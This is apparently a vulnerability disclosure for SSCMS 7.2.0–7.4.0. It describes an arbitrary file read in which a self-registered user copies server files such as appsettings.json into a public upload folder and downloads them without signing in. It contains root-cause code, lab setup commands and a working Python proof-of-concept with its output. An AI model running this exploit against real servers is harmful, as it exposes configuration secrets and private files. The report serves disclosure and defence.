# siteserver SSCMS Vulnerability Report Software: SSCMS Developer or vendor: siteserver Code repository: https://github.com/siteserver/cms ## 1. Arbitrary File Read via Image Copy in the User Center Brief description: A regular user can copy files from other directories on the server into their own public directory and retrieve them without authentication, with retrieval limited by file extension. Affected versions: 7.2.0 ~ 7.4.0 Introduced in: [siteserver/cms commit e79951f1](https://github.com/siteserver/cms/commit/e79951f149af7c2f365b5bc575d1f8b610ab3e7b) Preconditions: The attacker holds a regular user account. Self-registration is enabled by default. ### Root Cause When a user confirms an image in the editor of the user center, the front end calls `POST /api/home/common/form/layerImageUpload`. With `siteId` set to 0 in the request body, the endpoint takes the following branch: ```csharp // src/SSCMS.Web/Controllers/Home/Common/Form/LayerImageUploadController.Submit.cs:113-123 commit 09ab59b9dd else { foreach (var filePath in request.FilePaths) { if (string.IsNullOrEmpty(filePath)) continue; var fileName = PathUtils.GetFileName(filePath); var userFilePath = _pathManager.GetUserUploadPath(_authManager.UserId, fileName); FileUtils.CopyFile(filePath, userFilePath, true); ``` The source argument of `FileUtils.CopyFile` is the string from `filePaths`, so neither the directory nor the extension of the source file is restricted. The destination path is built by `GetUserUploadPath`: ```csharp // src/SSCMS.Core/Services/PathManager.Root.cs:162-166,194-197 commit 09ab59b9dd public string GetHomeUploadPath(params string[] paths) { var path = GetSiteFilesPath(DirectoryUtils.SiteFiles.Home, PathUtils.Combine(paths)); return path; } public string GetUserUploadPath(int userId, string relatedPath) { return GetHomeUploadPath(userId.ToString(), relatedPath); } ``` `wwwroot/sitefiles/home/{userId}/` is served by the static file middleware, so a copied file is retrievable at `/sitefiles/home/{userId}/{fileName}` without signing in. The file name is the last segment of the source path, so the copy keeps the original name. ### Reproduction Environment The lab uses the compose file shipped in the official repository: ```bash mkdir sscms && cd sscms wget https://raw.githubusercontent.com/siteserver/cms/master/docker/mysql/docker-compose.yml echo "SSCMS_SECURITY_KEY=$(openssl rand -hex 16).$(openssl rand -hex 16)" > .env sed -i 's|^ image: mysql$| image: mysql:8.0|' docker-compose.yml sed -i 's|- "80:80"|- "80:8080"|' docker-compose.yml docker compose up -d ``` The official file leaves the mysql version unpinned, and the `mysql` tag now points at 26.10, which rejects the `--default-authentication-plugin=mysql_native_password` argument in the file, so the image is pinned to `mysql:8.0`. The application inside `sscms/core` listens on 8080, so host port 80 is mapped to container port 8080. Everything else follows the official file. Open http://localhost/ss-admin/ and complete the setup wizard. ### Reproduction Open the registration page and register a regular user named `attacker` with the password `Attacker@123456`: ![](img/01-register.png) Sign in and open the user center: ![](img/02-user-center.png) `/app/appsettings.json`, `/app/SSCMS.Web.xml`, `/app/wwwroot/404.html` and `/app/SSCMS.dll` all ship in the release package, and the first three live outside the web root. Run the following script: ```python import hashlib import httpx BASE = "http://127.0.0.1" c = httpx.Client(base_url=BASE, timeout=60) r = c.post("/api/v1/users/actions/login", json={ "account": "attacker", "password": hashlib.md5(b"Attacker@123456").hexdigest()}) print(r.text) token = r.json()["accessToken"] user_id = r.json()["user"]["id"] r = c.post("/api/home/common/form/layerImageUpload", headers={"Authorization": "Bearer " + token}, json={"siteId": 0, "filePaths": ["/app/appsettings.json", "/app/SSCMS.Web.xml", "/app/wwwroot/404.html", "/app/SSCMS.dll"]}) print(r.status_code, r.text) for name in ["appsettings.json", "SSCMS.Web.xml", "404.html", "SSCMS.dll"]: path = "/sitefiles/home/%d/%s" % (user_id, name) r = c.get(path) print("GET %s -> %d, %d bytes" % (path, r.status_code, len(r.content))) ``` The script signs in as the regular user, requests the copy of the four files, then retrieves them without credentials. The output is: ``` {"user":{"confirmPassword":"","userName":"attacker","lastResetPasswordDate":"2026-11-13 13:05:34","lastActivityDate":"2026-11-13 13:05:42","departmentId":0,"manager":false,"countOfLogin":1,"countOfFailedLogin":0,"checked":true,"locked":false,"displayName":"attacker","mobile":null,"mobileVerified":false,"email":null,"avatarUrl":null,"openId":null,"departmentName":null,"id":1,"guid":"db16739b-2960-4f5d-90d4-0d9d52c9ebaa","createdDate":"2026-11-13 13:05:34","lastModifiedDate":"2026-11-13 13:05:34"},"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiIxIiwidW5pcXVlX25hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJVc2VyIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9pc3BlcnNpc3RlbnQiOiJGYWxzZSIsIm5iZiI6MTc5NDU3NTE0MiwiZXhwIjoxNzk0NjYxNTQyLCJpYXQiOjE3OTQ1NzUxNDJ9.wbpPtq4uXoqBsAPWW3vwbWrPvCMUldmd-1nY2Sn2eWg"} 200 [{"imageUrl":"/sitefiles/home/1/appsettings.json","imageVirtualUrl":"/sitefiles/home/1/appsettings.json","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/SSCMS.Web.xml","imageVirtualUrl":"/sitefiles/home/1/SSCMS.Web.xml","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/404.html","imageVirtualUrl":"/sitefiles/home/1/404.html","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/SSCMS.dll","imageVirtualUrl":"/sitefiles/home/1/SSCMS.dll","previewUrl":null,"previewVirtualUrl":null}] GET /sitefiles/home/1/appsettings.json -> 200, 965 bytes GET /sitefiles/home/1/SSCMS.Web.xml -> 200, 7886 bytes GET /sitefiles/home/1/404.html -> 200, 16432 bytes GET /sitefiles/home/1/SSCMS.dll -> 404, 16432 bytes ``` The copy request returns 200 for all four paths, and the endpoint returns an `imageUrl` for each of them. Retrieval returns 200 for the first three, with lengths matching the source files, and 404 for `SSCMS.dll`. The copy step does not restrict extensions; whether a file can be retrieved depends on the extension check in the static file middleware, and `.dll` is not among the accepted ones. This vulnerability therefore reads files on the server whose extensions the static file middleware accepts. The middleware is registered by `app.UseStaticFiles()` in `Startup.cs` without a custom `ContentTypeProvider`, so the accepted extensions are those of the default ASP.NET Core MIME mapping table, 381 entries in total: ``` .323 .3g2 .3gp .3gp2 .3gpp .aac .aaf .aca .accdb .accde .accdt .acx .adt .adts .afm .ai .aif .aifc .aiff .appcache .application .art .asd .asf .asi .asm .asr .asx .atom .au .avi .axs .bas .bcpio .bin .bmp .c .cab .calx .cat .cdf .chm .class .clp .cmx .cnf .cod .cpio .cpp .crd .crl .crt .csh .css .csv .cur .dcr .deploy .der .dib .dir .disco .dlm .doc .docm .docx .dot .dotm .dotx .dsp .dtd .dvi .dvr-ms .dwf .dwp .dxr .eml .emz .eot .eps .etx .evy .exe .fdf .fif .fla .flr .flv .gif .gtar .gz .h .hdf .hdml .hhc .hhk .hhp .hlp .hqx .hta .htc .htm .html .htt .hxt .ical .icalendar .ico .ics .ief .ifb .iii .inf .ins .isp .IVF .jar .java .jck .jcz .jfif .jpb .jpe .jpeg .jpg .js .json .jsx .latex .lit .lpk .lsf .lsx .lzh .m13 .m14 .m1v .m2ts .m3u .m4a .m4v .man .manifest .map .markdown .md .mdb .mdp .me .mht .mhtml .mid .midi .mix .mjs .mmf .mno .mny .mov .movie .mp2 .mp3 .mp4 .mp4v .mpa .mpe .mpeg .mpg .mpp .mpv2 .ms .msi .mso .mvb .mvc .nc .nsc .nws .ocx .oda .odc .ods .oga .ogg .ogv .ogx .one .onea .onepkg .onetmp .onetoc .onetoc2 .osdx .otf .p10 .p12 .p7b .p7c .p7m .p7r .p7s .pbm .pcx .pcz .pdf .pfb .pfm .pfx .pgm .pko .pma .pmc .pml .pmr .pmw .png .pnm .pnz .pot .potm .potx .ppam .ppm .pps .ppsm .ppsx .ppt .pptm .pptx .prf .prm .prx .ps .psd .psm .psp .pub .qt .qtl .qxd .ra .ram .rar .ras .rf .rgb .rm .rmi .roff .rpm .rtf .rtx .scd .sct .sea .setpay .setreg .sgml .sh .shar .sit .sldm .sldx .smd .smi .smx .smz .snd .snp .spc .spl .spx .src .ssm .sst .stl .sv4cpio .sv4crc .svg .svgz .swf .t .tar .tcl .tex .texi .texinfo .tgz .thmx .thn .tif .tiff .toc .tr .trm .ts .tsv .ttc .ttf .tts .txt .u32 .uls .ustar .vbs .vcf .vcs .vdx .vml .vsd .vss .vst .vsto .vsw .vsx .vtx .wasm .wav .wax .wbmp .wcm .wdb .webm .webmanifest .webp .wks .wm .wma .wmd .wmf .wml .wmlc .wmls .wmlsc .wmp .wmv .wmx .wmz .woff .woff2 .wps .wri .wrl .wrz .wsdl .wtv .wvx .x .xaf .xaml .xap .xbap .xbm .xdr .xht .xhtml .xla .xlam .xlc .xlm .xls .xlsb .xlsm .xlsx .xlt .xltm .xltx .xlw .xml .xof .xpm .xps .xsd .xsf .xsl .xslt .xsn .xtp .xwd .z .zip ``` Extensions outside the table return 404, and `SSCMS.dll` is one of them. The list comes from `new FileExtensionContentTypeProvider().Mappings`.